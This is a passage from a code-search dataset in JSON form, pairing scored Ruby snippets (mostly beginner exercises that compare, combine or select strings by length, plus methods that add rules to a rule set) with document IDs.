big_s.chars.sort.join.squeeze\nend", "title": "" }, { "docid": "565dc3d36c4b0d17e59be6d62b5bdf92", "score": "0.80576396", "text": "def short_long_short(string1, string2)\n longest_string = string1.length <=> string2.length\n if longest_string == 1\n string2 + string1 + string2\n else\n string1 + string2 + string1\n end\nend", "title": "" }, { "docid": "8f8260a65106588436b9558bf785287d", "score": "0.805625", "text": "def longest(s1, s2)\n all_letters = s1 + s2\n p all_letters.chars.uniq.sort.join\nend", "title": "" }, { "docid": "6c0553535b7dc0ef861310e6f1cb0c30", "score": "0.80316806", "text": "def longest\n @strings.max { |a,b| a.length <=> b.length}\n end", "title": "" }, { "docid": "d5dbd5bd53a46117edf9cf3e7c777454", "score": "0.79957515", "text": "def longest(a1, a2)\n (normalize(a1) + normalize(a2)).uniq.sort.join\nend", "title": "" }, { "docid": "69ee6feebeb7877c787c04a1e66a2dcc", "score": "0.79758215", "text": "def longest(a1, a2)\n array1 = a1.chars\n array2 = a2.chars\n combined_array = array1 + array2\n combined_array.sort.uniq.join\nend", "title": "" }, { "docid": "9c3bb607cacb64ab31ecc85007c8ece1", "score": "0.79563", "text": "def short_long_short(string1, string2)\n if string1.size > string2.size\n longest = string1\n shortest = string2\n else\n longest = string2\n shortest = string1\n end\n \n \"#{shortest}#{longest}#{shortest}\"\nend", "title": "" }, { "docid": "d392e2a12213c488b71b3e71b39de8c0", "score": "0.7945438", "text": "def short_long_short(string1, string2)\n longest = ''\n shortest = ''\n if string2.length > string1.length\n longest = string2\n shortest = string1\n else\n longest = string1\n shortest = string2\n end\n \"#{shortest}#{longest}#{shortest}\"\nend", "title": "" }, { "docid": "1a1bced74a8ee53896a9e3e4bf55a2c5", "score": "0.791787", "text": "def longest(arr1, arr2)\n (arr1 + arr2).split('').sort.uniq.join('')\nend", "title": "" }, { "docid": "c82c6ccdc6e086622d09027064623196", "score": "0.7846676", "text": "def short_long_short(str1, str2)\n shortest, longest = str1.length > str2.length ? [str2, str1] : [str1, str2]\n shortest + longest + shortest\nend", "title": "" }, { "docid": "e537ba175c7dbb18f861a41fb19f70bc", "score": "0.782834", "text": "def longest_string strings\n\n\t\nend", "title": "" }, { "docid": "29e2e39dd1ba307bbbf9ee33f05f142b", "score": "0.7796123", "text": "def short_long_short(string1, string2)\n # initial try\n # longer_string = string1.size > string2.size ? string1 : string2\n # shorter_string = longer_string == string1 ? string2 : string1\n # shorter_string + longer_string + shorter_string\n if string1.length > string2.length\n string2 + string1 + string2\n else\n string1 + string2 + string1\n end\nend", "title": "" }, { "docid": "af0602e38708439a357a443749adf1a8", "score": "0.77922", "text": "def longest(a1, a2)\n #split the string into an array\n arra1 = a1.split(\"\")\n arra2 = a2.split(\"\")\n\n #join the two array above together\n arr = arra1 + arra2\n\n #sort the joined array\n arra = arr.uniq.sort()\n\n #return the array\n return arra.join(\"\")\nend", "title": "" }, { "docid": "6da284f682fc64c9bd29492b5e0dc596", "score": "0.77538157", "text": "def find_longest(a, b)\n dup_chars = Regexp.union(a.chars & b.chars)\n substrings = (a+b).split(dup_chars) + (b+a).split(dup_chars)\n substrings.empty? ? 0 : substrings.max_by(&:length).length\n end", "title": "" }, { "docid": "b67cf5815ff4fb835909a3ecf3c886a1", "score": "0.77468663", "text": "def short_long_short(one, two)\n shorter, longest = [one, two].sort_by {|word| word.length} # => [\"abc\", \"defgh\"], [\"fgh\", \"abcde\"], [\"\", \"xyz\"]\n \"#{shorter}#{longest}#{shorter}\" # => \"abcdefghabc\", \"fghabcdefgh\", \"xyz\"\nend", "title": "" }, { "docid": "d4b3b1507e79c7080024f68959effb14", "score": "0.77431536", "text": "def longest_common_substring(str1, str2)\nend", "title": "" }, { "docid": "082d949ed2db1c4eb11fc764b2da1480", "score": "0.77378696", "text": "def short_long_short(string1, string2)\n arr = [string1, string2].sort_by { |el| el.length }\n arr.first + arr.last + arr.first\nend", "title": "" }, { "docid": "d52ef8aa0588c5d12a031620ebdf3108", "score": "0.7736565", "text": "def longer_string(str1, str2)\n if str1.length > str2.length\n return str1\n elsif str2.length > str1.length\n return str2\n elsif str1.length == str2.length\n return str1\n end\nend", "title": "" }, { "docid": "7a8c20f97456f80c9deb660198f6e0ff", "score": "0.77269727", "text": "def longer_string(a,b)\n if a.length > b.length\n return a\n elsif a.length == b.length\n return a\n else\n return b\n end\n\nend", "title": "" }, { "docid": "e2f4f9602b83de1f2d8072920477ae77", "score": "0.7703028", "text": "def longer_string(str1, str2)\n\tif(str1.length > str2.length)\n return str1\n else\n return str2\n end\nend", "title": "" }, { "docid": "f87971d3d2dd31332ff4f51e22b973e9", "score": "0.76793367", "text": "def short_long_short(string_1, string_2)\r\n if string_1.length > string_2.length\r\n longer_string = string_1\r\n shorter_string = string_2\r\n else\r\n longer_string = string_2\r\n shorter_string = string_1\r\n end\r\n\r\n shorter_string + longer_string + shorter_string\r\nend", "title": "" }, { "docid": "79efef1f9d810fe19e0d7b8ff79e896c", "score": "0.7664319", "text": "def short_long_short(str1, str2)\r\n strings = [str1, str2]\r\n\r\n strings.sort_by!(&:length)\r\n short_string = strings.first\r\n long_string = strings.last\r\n\r\n short_string + long_string + short_string\r\nend", "title": "" }, { "docid": "62dcdbf599df27fe1b0b7a6b635f05b6", "score": "0.7648358", "text": "def longer_string(str1, str2)\n if str1.length >= str2.length\n return str1\n else\n return str2\n end\nend", "title": "" }, { "docid": "62dcdbf599df27fe1b0b7a6b635f05b6", "score": "0.7648358", "text": "def longer_string(str1, str2)\n if str1.length >= str2.length\n return str1\n else\n return str2\n end\nend", "title": "" }, { "docid": "bae6ce414a3e2aeb5c0be4206c0196b4", "score": "0.764479", "text": "def longest_length_func(my_strings)\n longest_length = my_strings.max do |a,b|\n a.length <=> b.length\n end\n return longest_length\nend", "title": "" }, { "docid": "b87caaa3165a9faed18dd9688efa078a", "score": "0.7639234", "text": "def longest_string string\n\n\t# string.max_by(&:length)\n\n\tnewstr = string.inject do |first, second|\n if first.length > second.length\n \tfirst\n else \n \tsecond\n end\n end\n newstr\nend", "title": "" }, { "docid": "3f9b8cf30ccbbf74a24ef9e48be9b57e", "score": "0.76271653", "text": "def longer_string(str1, str2)\n if str1.length >= str2.length\n return str1\n else\n return str2\n end\nend", "title": "" }, { "docid": "bbb15b7f98d002e31b133b8708ce199e", "score": "0.76229864", "text": "def longer_string(str1, str2)\n if str1.length >= str2.length\n str1\n else\n str2\n end\nend", "title": "" }, { "docid": "1b33c2c1c6842be25e9ff36c44125235", "score": "0.7613195", "text": "def longer_string(str1, str2)\n if str1.length >= str2.length\n return str1\n else\n return str2\n end\n end", "title": "" }, { "docid": "cae89930a1a070692751dfb5e2adbeba", "score": "0.7611355", "text": "def longer_string(str1, str2)\n \n if str1.length >= str2.length\n return str1\n \n else\n return str2\n \n end\nend", "title": "" }, { "docid": "d1766fd6c826efbacebbb8abb0b4d521", "score": "0.7601752", "text": "def longest_string(strings)\n # INSERT CODE HERE, just one or two lines\n return strings.max_by{|a| a.length}\nend", "title": "" }, { "docid": "829f3ff4156f41d271a4be99bed89d4d", "score": "0.75998783", "text": "def longest_string array1\n\tarray1.max_by(&:length)\nend", "title": "" }, { "docid": "b568a05147885b841a6e4b020b3fc387", "score": "0.7594977", "text": "def short_long_short(string1, string2)\r\n arr = [string1, string2].sort_by { |el| el.length }\r\n arr.first + arr.last + arr.first\r\nend", "title": "" }, { "docid": "99952f5d3a6cf382a8070b2aefe76dfb", "score": "0.7584194", "text": "def short_long_short(string_1, string_2)\nstring_1.size < string_2.size ? combine(string_1, string_2) : combine(string_2, string_1)\nend", "title": "" }, { "docid": "62afdd0c1611ae36ab3d5c8d728a7b43", "score": "0.75590014", "text": "def short_long_short(string1, string2)\n string_array = [string1, string2]\n string_array.sort_by!{|string| string.length }\n string_array << string_array[0]\n string_array.join\nend", "title": "" }, { "docid": "77515e8d7db7b504135df9e01831f8d7", "score": "0.7558119", "text": "def short_long_short(string1, string2)\n strings = ''\n if string1.length > string2.length\n strings << string2 + string1 + string2\n else\n strings << string1 + string2 + string1\n end\n strings\nend", "title": "" }, { "docid": "80aaf7bf6bc7aef4e95e58cf06d52b76", "score": "0.75391155", "text": "def shorter_long_short(str1, str2)\n str1.length < str2.length ? str1 + str2 + str1 : str2 + str1 + str2\nend", "title": "" }, { "docid": "9b5b1298628b0a827055fa00d377552c", "score": "0.7508162", "text": "def short_long_short(str1, str2)\n \n shorter_str = ''\n longer_str = ''\n new_str = shorter_str + longer_str + shorter_str\n \n\n if str1.length < str2.length\n shorter_str = str1 \n longer_str = str2\n else\n shorter_str = str2\n longer_str = str1\n end\n\n shorter_str + longer_str + shorter_str\nend", "title": "" }, { "docid": "a500cb780869d03afed19e9b6af76bea", "score": "0.75006354", "text": "def longest(strings)\n strings.max_by { |x| x.length }\nend", "title": "" }, { "docid": "93a50aefb236e719e3f9b1b771712467", "score": "0.74938637", "text": "def longest_common_substr(str1, str2)\n curr_longest = \"\"\n substrs1 = substrings(str1)\n substrs2 = substrings(str2)\n substrs1.each do |sub1|\n substrs2.each do |sub2|\n if sub1 == sub2 && sub1.length > curr_longest.length\n curr_longest = sub1\n end\n end\n end\n curr_longest\nend", "title": "" }, { "docid": "6990aa3788953456dafd9268b2178256", "score": "0.7485904", "text": "def short_long_short(string1, string2)\n big_string = ''\n\n if string1.length < string2.length\n big_string = string1 + string2 + string1\n else\n big_string = string2 + string1 + string2\n end\n\n big_string\nend", "title": "" }, { "docid": "001ff6cacb541ae3b530e25ce8d86370", "score": "0.7469169", "text": "def short_long_short(str1, str2)\n shorter = str1.size > str2.size ? str2 : str1\n longer = shorter == str1 ? str2 : str1\n shorter + longer + shorter\nend", "title": "" }, { "docid": "032661cf94cc03a3c57b290f0909d9d2", "score": "0.7458819", "text": "def short_long_short(str1, str2)\n if str1.length < str2.length\n shorter_str = str1\n longer_str = str2\n else\n shorter_str = str2\n longer_str = str1\n end\n\n shorter_str + longer_str + shorter_str\nend", "title": "" }, { "docid": "610a2b121e20536cecae1a4e2429d274", "score": "0.7441992", "text": "def short_long_short(s1,s2)\r\n result = [s1,s2].sort_by { |s| s.length }\r\n result << result[0]\r\n result.join('')\r\nend", "title": "" }, { "docid": "4b9c58dd0c6e7e27f4e053e63042da55", "score": "0.7440015", "text": "def longest_string string1\n\n\t# string_array = string1\n\tstring1.max_by(&:length)\n\nend", "title": "" }, { "docid": "83a2f6319929ef568c25bae9fa3309dc", "score": "0.7421552", "text": "def longest_string string_array\n\tstring_array.max{|a, b| a.length <=> b.length}\n\nend", "title": "" }, { "docid": "5ac9325d1889f4db61b624463dbc47b7", "score": "0.74190336", "text": "def short_long_short(string, string2)\n short, long = [string, string2].sort { |a, b| a.length <=> b.length }\n short + long + short\nend", "title": "" }, { "docid": "e42a8e455828b62ca83bf0ac924f6153", "score": "0.74124736", "text": "def longest_string(list_of_words)\n list_of_words.max { |x,y| x.length <=> y.length }\nend", "title": "" }, { "docid": "6892fc3470d5f9dd2c8b05ec5f820336", "score": "0.74105626", "text": "def short_long_short(string1, string2)\n short_string = string1.length <= string2.length ? string1 : string2 \n long_string = string1.length >= string2.length ? string1 : string2 \n short_string + long_string + short_string\nend", "title": "" }, { "docid": "c3ab3e123ce865cf313aaa4e17efd611", "score": "0.74101937", "text": "def longest_string(list_of_words)\n\tshortest_string.each {|x1| x1.length}\n\t\tshortest_string.each {|x2| x2.length.to_i} #iterrates over each string in array, counts the string's length \n\t\tif shortest_string|x2.length| > shortest_string|x1.length| #compares the 2 pulled string lenghts\n\t\t\tshortest_string|x1| , shortest_string|x2| = shortest_string|x2| > shortest_string|x1| #keeps putting the bigger one to the front\n\t\tend\n\t\treturn shortest_string[0] #returns the first stirng in the array which should be the largest one\nend\nend", "title": "" }, { "docid": "5b4f86da3c5cd75c00d1c4d080789dbc", "score": "0.7397219", "text": "def short_long_short(string1, string2)\n if string1.length > string2.length\n string2 + string1 + string2\n else\n string1 + string2 + string1\n end\nend", "title": "" }, { "docid": "5b4f86da3c5cd75c00d1c4d080789dbc", "score": "0.7397219", "text": "def short_long_short(string1, string2)\n if string1.length > string2.length\n string2 + string1 + string2\n else\n string1 + string2 + string1\n end\nend", "title": "" }, { "docid": "1b4c08721496ffca6f92b5c296c71c8f", "score": "0.73915994", "text": "def longest_string(list_of_words)\n # Your code goes here!\nreturn list_of_words.min { |x,y| y.length <=> x.length }\nend", "title": "" }, { "docid": "1a0fa40344c15ef79d3f64bf7692ee61", "score": "0.7389236", "text": "def short_long_short(str1, str2)\r\n arr = [str1, str2]\r\n short = arr.min {|a, b| a.length <=> b.length }\r\n long = arr.max {|a, b| a.length <=> b.length }\r\n sls = short.concat(long.concat(short))\r\n end", "title": "" }, { "docid": "b14a699f38998ffd35c969c920f3ce40", "score": "0.73691475", "text": "def longer_string(str1, str2)\n str_len_1 = str1.length\n str_len_2 = str2.length\n \n if (str_len_1 > str_len_2) || (str_len_1 == str_len_2)\n puts str1\n else\n puts str2\n end\nend", "title": "" }, { "docid": "870a0cead187cc2541effa0a98acbf96", "score": "0.73651785", "text": "def short_long_short(string1, string2)\n string1.length > string2.length ? (string2 + string1 + string2)\n : (string1 + string2 + string1)\nend", "title": "" }, { "docid": "25ae615e9043d2caa757e05cf7b5a59a", "score": "0.73618823", "text": "def longer_string(str1, str2)\n if str1.length > str2.length\n puts str1 + \" is longer than \" + str2\n return str1\n elsif str1.length < str2.length\n puts str2 + \" is longer than \" + str1\n return str2\n elsif str1.length == str2.length\n puts str1 + \" and \" + str2 + \" are the same length but I'm returning the first string only\"\n return str1\n end\nend", "title": "" }, { "docid": "1e7f1d5869a727b56c2ed591552577fb", "score": "0.73455614", "text": "def short_long_short(string1, string2)\n if string1.length < string2.length\n string1 + string2 + string1\n else\n string2 + string1 + string2\n end\nend", "title": "" }, { "docid": "eb0305c05047769dce990caeb98c003a", "score": "0.73454905", "text": "def short_long_short(string1, string2)\n if (string1.length <=> string2.length) == -1\n string1 + string2 + string1\n else\n string2 + string1 + string2\n end\nend", "title": "" }, { "docid": "295f2b5b1e238029a065295f9ac204fa", "score": "0.73394", "text": "def short_long_short(str1, str2)\n if str1.length > str2.length \n return str2.concat(str1, str2)\n else\n return str1.concat(str2, str1) \n end\nend", "title": "" }, { "docid": "0b7c0c06cd39dc18486733fd47742b1a", "score": "0.73350734", "text": "def longest(a)\n \ta.max {|a, b| a.length <=> b.length}\nend", "title": "" }, { "docid": "2a78b37c36254c0f389ca4971a89c6f2", "score": "0.7329327", "text": "def longest_common_substring(str1, str2)\n long_string = str1.length > str2.length ? str1 : str2\n short_string = str1.length > str2.length ? str2 : str1\n longest_substr = ''\n\n short_string.length.times do |start_idx|\n short_string.length.times do |end_idx|\n if start_idx < end_idx\n substr = short_string.slice(start_idx, end_idx)\n if long_string.match(substr) && substr.length > longest_substr.length\n longest_substr = substr\n end\n end\n end\n end\n\n longest_substr\nend", "title": "" }, { "docid": "4912080dbba8cb5d69bff57b738594a0", "score": "0.732177", "text": "def short_long_short(str1, str2)\n return str2 + str1 + str2 if str1.size > str2.size\n return str1 + str2 + str1 if str2.size > str1.size\nend", "title": "" }, { "docid": "4651ac3922713278b5bbc420c19dd2c1", "score": "0.7320885", "text": "def longest_string \nend", "title": "" }, { "docid": "fdcf50c3d0cb3337077f41ad9d606f37", "score": "0.73109525", "text": "def longest_string(list_of_words)\n y = list_of_words[0]\n list_of_words.each do |x|\n if x.length > y.length\n y = x\n end\n end\n y\nend", "title": "" }, { "docid": "fbba2ad63f58afbad67e3898c76ed02a", "score": "0.7305256", "text": "def short_long_short(string1, string2)\n # if string1.length >= string2.length\n # string2 + string1 + string2\n # else\n # string1 + string2 + string1\n # end\n string1.length >= string2.length ? string2 + string1 + string2 : string1 + string2 + string1\nend", "title": "" }, { "docid": "3febb3df4a03703b246bc022dd878b93", "score": "0.7297099", "text": "def longest_string(list_of_words)\n # Your code goes here!\n list_of_words.max do |word1, word2|\n \tword1.length <=> word2.length\n end\nend", "title": "" }, { "docid": "36015dae18a2c6c3f42ec3d7b05671ab", "score": "0.72904056", "text": "def longest_common_substring(str1, str2)\n # call helper method, passing in the string and saving new array in a var\n # Iterate through one, and see if current substring is included in other arr.\n # if included? => save current substring to var if var is null or \n #if var.length > current substring, do nothing. else => save curent sub to var.\n # return var.A\n str1_arr = substring(str1)\n longest = \"\"\n str1_arr.each do |subStr|\n if(str2.include?(subStr))\n longest = subStr if longest == \"\"\n longest = subStr if longest.length < subStr.length\n end\n end\n\n longest\nend", "title": "" }, { "docid": "8d2db2a4a876664178253133077b3732", "score": "0.729034", "text": "def short_long_short(string1, string2)\n if string1.length < string2.length\n string2 << string1\n string1 << string2\n\n elsif string2.length < string1.length\n string1 << string2\n string2 << string1\n end\nend", "title": "" }, { "docid": "348a8f06372fd8a7369b4c46dee33659", "score": "0.72865057", "text": "def short_long_short(string1, string2)\n new_string = ''\n if string1.size < string2.size\n new_string.concat(string1).concat(string2).concat(string1)\n else\n new_string.concat(string2).concat(string1).concat(string2)\n end\nend", "title": "" }, { "docid": "883ed4e5d2ed625218dee98cb3d481ca", "score": "0.72801244", "text": "def shorter_reverse_longer(a, b)\n a.length >= b.length ? \"#{b}#{a.reverse}#{b}\" : \"#{a}#{b.reverse}#{a}\"\nend", "title": "" }, { "docid": "d2469273d5a11b3edeae22fe25b00775", "score": "0.7271041", "text": "def longest(string)\n @word = string.split\n puts @word.max{|a,b| a.length <=> b.length}\nend", "title": "" }, { "docid": "0fbfdc28628680b56a1b9bb66c4343fe", "score": "0.7270647", "text": "def short_long_short(string1, string2)\n if string1.size > string2.size\n string2 + string1 + string2\n else\n string1 + string2 + string1\n end\nend", "title": "" }, { "docid": "0fbfdc28628680b56a1b9bb66c4343fe", "score": "0.7270647", "text": "def short_long_short(string1, string2)\n if string1.size > string2.size\n string2 + string1 + string2\n else\n string1 + string2 + string1\n end\nend", "title": "" }, { "docid": "05dcd02d6a5223585b4697773ae9f9ba", "score": "0.72681606", "text": "def longest_string(list_of_words)\n list_of_words.min {|x,y| y.size <=> x.size}\nend", "title": "" }, { "docid": "c6b7bbdeccf1f9072999a185f7756180", "score": "0.7268104", "text": "def longest_string(list_of_words)\n\treturn list_of_words.max{|a,b| a.size <=> b.size}\nend", "title": "" }, { "docid": "9aa16b03c7a72945a01130a943b971bf", "score": "0.72662425", "text": "def short_long_short(str1, str2)\n if str1.length > str2.length\n p str2 + str1 + str2\n else\n p str1 + str2 + str1\n end\nend", "title": "" }, { "docid": "1bdedb0b778b01a63325b2b7658ee0b6", "score": "0.7262553", "text": "def short_long_short(str1, str2)\n return (str1 + str2 + str1) if (str1.length <= str2.length)\n str2 + str1 + str2\nend", "title": "" }, { "docid": "8a122d735ce14a10ee4f27f4cb9babed", "score": "0.72614557", "text": "def longest_string(list_of_words)\n list1=[]\n list2=[]\n zero= list_of_words.length\n if zero==0\n return nil\n end\n list_of_words.each do |n|\n\n\n\n if list1.length== 0\n list1.push n\n next\n end\n list2.push n\n comp1=list1[0].length\n comp2=list2[0].length\n\n if comp1 > comp2\n list2= []\n next\n elsif comp1 < comp2\n list1= list2\n list2=[]\n next\n end\n\n end\n return list1.join\n\nend", "title": "" }, { "docid": "73223fabb5c0dd8e12d44c7b7c165eef", "score": "0.7261385", "text": "def short_long_short(str1, str2)\n short, long = [str1, str2].sort_by { |el| el.size }\n short + long + short\nend", "title": "" }, { "docid": "56ecfef2cc3f0910cfa5618af88734b6", "score": "0.7257766", "text": "def short_long_short(string1, string2)\n if string1.length > string2.length\n\t\tstring2 + string1 + string2\n else\n\t\tstring1 + string2 + string1\n end\nend", "title": "" }, { "docid": "52c39889837a18c7b6e246b7b5379613", "score": "0.72553724", "text": "def short_long_short(str1, str2)\n concat_string = \"\"\n if str1.length > str2.length\n concat_string << str2 << str1 << str2\n else\n concat_string << str1 << str2 << str1\n end\nend", "title": "" }, { "docid": "5e3630bcb27a940990258a8f180daf23", "score": "0.7251795", "text": "def short_long_short1(str1, str2)\n strings = str1.length < str2.length ? [str1, str2] : [str2, str1]\n strings[0] + strings[1] + strings[0] \nend", "title": "" }, { "docid": "095570a51b3b8d2dbef0ab51770b39a5", "score": "0.7249794", "text": "def short_long_short(str1, str2)\n if str1.size > str2.size\n return str2 + str1 + str2\n else\n return str1 + str2 + str1\n end\nend", "title": "" } ]
411ba5be43211d779e4b4ff03c619a83
Adds a new rule to the set.
[ { "docid": "93b234c5a1043d0712f614350db7d87d", "score": "0.82220644", "text": "def add_rule(rule)\n @rules << rule\n end", "title": "" } ]
[ { "docid": "0b27fde79414a409d9fb19a2466baf45", "score": "0.81402576", "text": "def <<(rule)\n @rules << rule\n self\n end", "title": "" }, { "docid": "8ba9e96ecb0bd088e9b5c0e6fc2af865", "score": "0.8061345", "text": "def <<(rule)\n @rules << rule\n end", "title": "" }, { "docid": "dac4788615c1a5516c30a92fe79b1b97", "score": "0.8035193", "text": "def add_rule(rule); end", "title": "" }, { "docid": "cd647c4f6714d39612e750333c3c3b04", "score": "0.8025863", "text": "def add(rule)\n self.class.new(rules.dup << rule)\n end", "title": "" }, { "docid": "7d3ccdd1fad8628890f80c9a4a65c4e2", "score": "0.78523093", "text": "def add_rule rule\n self[rule.meaning.to_sym] = rule\n end", "title": "" }, { "docid": "17b86e04d6d68b20437fdb7b06b7cfa9", "score": "0.76761675", "text": "def add(path, rule)\n self.items << RuleEntry.new(path, rule)\n end", "title": "" }, { "docid": "5d21120483a403f703c07cd4e687cb7f", "score": "0.7579049", "text": "def add_rule(rule_id)\n @rule_ids << rule_id\n end", "title": "" }, { "docid": "5d21120483a403f703c07cd4e687cb7f", "score": "0.7579049", "text": "def add_rule(rule_id)\n @rule_ids << rule_id\n end", "title": "" }, { "docid": "db57d42986af13e8069feac076f67288", "score": "0.75713", "text": "def add_rule(rule)\n raise ArgumentError, \"Rule must be instance of 'Rule'\" unless rule.is_a?(Rule)\n @rules << rule\n end", "title": "" }, { "docid": "06e8b91c67f409a33622abaabb088f48", "score": "0.7511197", "text": "def add(rule, reindex: true)\n @rules << rule\n reindex! if reindex\n self\n end", "title": "" }, { "docid": "428b9da845deac3fc658f8a2a092f1b0", "score": "0.74769044", "text": "def add_rule(name, rule)\n @repository[name] = rule\n end", "title": "" }, { "docid": "f8d778b259a0abc08a7032b70c981493", "score": "0.737874", "text": "def add_rule(param, *rules)\n check_rule_set(rules[0])\n @rules[param.to_s] = rules[0]\n end", "title": "" }, { "docid": "e56a6356ba447215ab21cd3aa5f7c67a", "score": "0.7370727", "text": "def <<(rule)\n unless rule.respond_to?(:call)\n raise 'Rules added with << must respond to #call'\n end\n @rules << rule\n end", "title": "" }, { "docid": "fa8d3d811848995a792b6ce9c7d0d378", "score": "0.7209939", "text": "def add_rule(rule = {})\n @lock.synchronize do\n # Temporarily disable warnings regarding IGNORECASE flag\n verbose = $VERBOSE\n $VERBOSE = nil\n pattern = Regexp.new(rule[:pattern], Regexp::IGNORECASE)\n $VERBOSE = verbose\n\n @database.find_or_create_by(\n :resource => rule[:resource].to_s,\n :pattern => pattern.source,\n :response => rule[:response]\n ).id\n end\n end", "title": "" }, { "docid": "7a91773c258ed53a3a9cd360214deb79", "score": "0.7151583", "text": "def add_rule(var, statement)\n @rules[var] ||= []\n @rules[var].push(statement)\n end", "title": "" }, { "docid": "78a577eee0131be14a273efa33eae5a3", "score": "0.7145056", "text": "def rule(key, &action)\n @@rules << [key, action]\n end", "title": "" }, { "docid": "e6e542f8672ffc33b4e851cbae97917a", "score": "0.7131542", "text": "def add(rule_name, rule_node, new_value)\n update(rule_name, rule_node, nil, new_value)\n end", "title": "" }, { "docid": "256babc5aa2daea042da7160478a9453", "score": "0.7117669", "text": "def add_rule(rule, allows = true, name = nil)\n rule = resolve_rule(rule)\n\n rule.decision = allows\n rule.name = name unless name.nil?\n @list << rule\n end", "title": "" }, { "docid": "474de73828e4482278f6e8c88876955e", "score": "0.7115044", "text": "def add(*args, &block)\n if rule?(args.first)\n self << args.first\n elsif klass = rule_class(args.shift)\n self << klass.new(*args, &block)\n else\n raise ArgumentError, \"Unknown rule: #{args.first}\"\n end\n end", "title": "" }, { "docid": "d985b7c5a2289ec9ea4fd0cfe2f5601d", "score": "0.70887023", "text": "def rule *args, &block\n @rules << Rules::Rule.new(*args, block)\n end", "title": "" }, { "docid": "58a742b29d92bf0a793d46315261f195", "score": "0.7082934", "text": "def add_rule(name, regex)\n @rules << Rule.new(name, regex)\n end", "title": "" }, { "docid": "026db536a863fa3051ff7dad866dcd51", "score": "0.6991342", "text": "def set(name, rule, **options)\n @rules[name] = rule\n end", "title": "" }, { "docid": "bea30f17ed63ec5c89a3216bdc6ad373", "score": "0.6946525", "text": "def add(rule=nil, &block)\n if block_given?\n yield(self)\n self.commit\n else\n unless rule[:action]\n raise \"When adding rules you need to pass, at least, one action: \" + \\\n \"#{rule.inspect}\"\n end\n\n @rules_events << setup_event(:create, rule)\n end\n end", "title": "" }, { "docid": "321f996aa62bd4ded3af9b6898a3b21b", "score": "0.69448996", "text": "def rule name, &proc\n self.rules.push({ name: name, rule: proc })\n end", "title": "" }, { "docid": "b55aef935f2d5f2b94393cb297882bc4", "score": "0.6915553", "text": "def mib_add_rule!(rule_set,rule={})\n init_rule = {\n 'criteria'=>'max value',\n 'severity'=>5,\n 'value'=>3000,\n 'wait'=>5\n }\n new_rule = init_rule.merge(rule)\n rule_set['rules'] << new_rule\n new_rule\nend", "title": "" }, { "docid": "b55aef935f2d5f2b94393cb297882bc4", "score": "0.6915553", "text": "def mib_add_rule!(rule_set,rule={})\n init_rule = {\n 'criteria'=>'max value',\n 'severity'=>5,\n 'value'=>3000,\n 'wait'=>5\n }\n new_rule = init_rule.merge(rule)\n rule_set['rules'] << new_rule\n new_rule\nend", "title": "" }, { "docid": "0923aca99c2fa8e2b6a8abc55290e977", "score": "0.6895194", "text": "def addTeamRule(rule)\n @teamRules.push(rule)\n return self\n end", "title": "" }, { "docid": "9f0d4030de492f857a788a50c46138d2", "score": "0.6876769", "text": "def add_rule(rule)\n @rule_base.add_rule(rule)\n rule.entities.each do |entity|\n @entities[entity.name] ||= entity\n end\n end", "title": "" }, { "docid": "e9cd26a1f2a708fa2c14c14d3e69f532", "score": "0.68625534", "text": "def add_rule name\n @patterns << name\n end", "title": "" }, { "docid": "af188dce6578e1f386ccedf4b8dcca8d", "score": "0.6836739", "text": "def add_recurrence_rule(rule)\n @all_recurrence_rules << rule unless @all_recurrence_rules.include?(rule)\n end", "title": "" }, { "docid": "af188dce6578e1f386ccedf4b8dcca8d", "score": "0.6836739", "text": "def add_recurrence_rule(rule)\n @all_recurrence_rules << rule unless @all_recurrence_rules.include?(rule)\n end", "title": "" }, { "docid": "3aca7ca0b4ea21b6bd132e7098563cd4", "score": "0.6730805", "text": "def addSubsetRule(rule)\n @teamRules.push(rule)\n return self\n end", "title": "" }, { "docid": "cf6dbec050208732838f2c13b9919c59", "score": "0.6696868", "text": "def add_recurrence_rule(rule)\n raise ArgumentError.new('Argument must be a valid rule') unless rule.class < Rule\n @rrule_occurrence_heads << RuleOccurrence.new(rule, @start_date, @end_time)\n end", "title": "" }, { "docid": "4496ad13c8b2d5a8a310dec1afe386a8", "score": "0.6675169", "text": "def rule=(value)\n @rule = value\n end", "title": "" }, { "docid": "cf856dd49ef26913fcca60bea8693cc0", "score": "0.66483366", "text": "def add_rule(key, rule)\n\n instance = rule.new\n\n #verify the rule instance inherits ValidationRule\n if instance == nil || !instance.is_a?(ValidationRule)\n raise ValidationProfiler::Exceptions::InvalidValidationRuleType.new(instance.class)\n end\n\n #verify the rule name has not already been registered\n if [email protected] { |r| r[:key] == key }.empty?\n raise ValidationProfiler::Exceptions::ValidationRuleAlreadyExists.new(key)\n end\n\n @rules.push({ key: key, instance: instance})\n\n end", "title": "" }, { "docid": "42138ec056aeb6ca9e7579cf15c2108a", "score": "0.6599553", "text": "def add_rule(rule_object)\n\n # store the rule\n @rules[rule_object.name] = rule_object\n\n case\n\n # rule which asserts facts without conditions or questions\n when rule_object.matcher.nil? && rule_object.questions.empty?\n\n # add the rule to the fact rules array, contains rules with only facts\n @fact_rules << rule_object\n\n when rule_object.matcher.nil? && rule_object.questions.count > 0\n\n # rules can be triggered directly\n @start_rules << rule_object\n\n else\n\n # get the matcher\n matcher = rule_object.matcher\n\n # get the matcher type (any / all)\n matcher_type = matcher.type\n\n # generate the ruleby conditions based on the matcher conditions\n conditions = create_conditions matcher.conditions\n\n # switch statement for the matcher type\n case matcher_type\n\n # all the conditions must match\n when :all\n\n # star to convert array to arguments\n rule AND *conditions do |v|\n\n # when rule is applicable, add to possible rules\n rule_handler rule_object\n\n end\n\n # one of the conditions must match\n when :any\n\n # star to convert array to arguments\n rule OR *conditions do |v|\n\n # when rule is applicable, add to possible rules\n rule_handler rule_object\n\n end\n\n else\n raise \"Unknown matcher type #{matcher.type}\"\n\n end\n\n end\n\n end", "title": "" }, { "docid": "5dc002fda3381dd120c150986ed486bb", "score": "0.6566347", "text": "def add_rules(*rules)\n DefaultPredicate.add_rules(*rules)\n DefaultPredicate.reload\n end", "title": "" }, { "docid": "d3c70113964092f09c471436627ae58d", "score": "0.6549502", "text": "def addRules\n\n rl = ruleList\n\n rl.each do |r|\n\n # Make sure the weight selector is reasonable.\n\n errorExit(\"Bad rule kind #{r[0].to_s}\") unless @weights.has_key?(r[0])\n\n lhs = @symbols[r[1]]\n errorExit(\"Left symbol #{r[1].to_s} unknown\") if lhs.nil?\n rhs = []\n r[2].each do |s|\n right = @symbols[s]\n errorExit(\"Right symbol |#{s.to_s}| unknown\") if right.nil?\n rhs << right\n end\n newRule = GramRule.new(lhs, rhs)\n\n # Add the rule to the grammar.\n\n rep = r[3].nil? ? nil : self.method(r[3])\n dfn = r[4].nil? 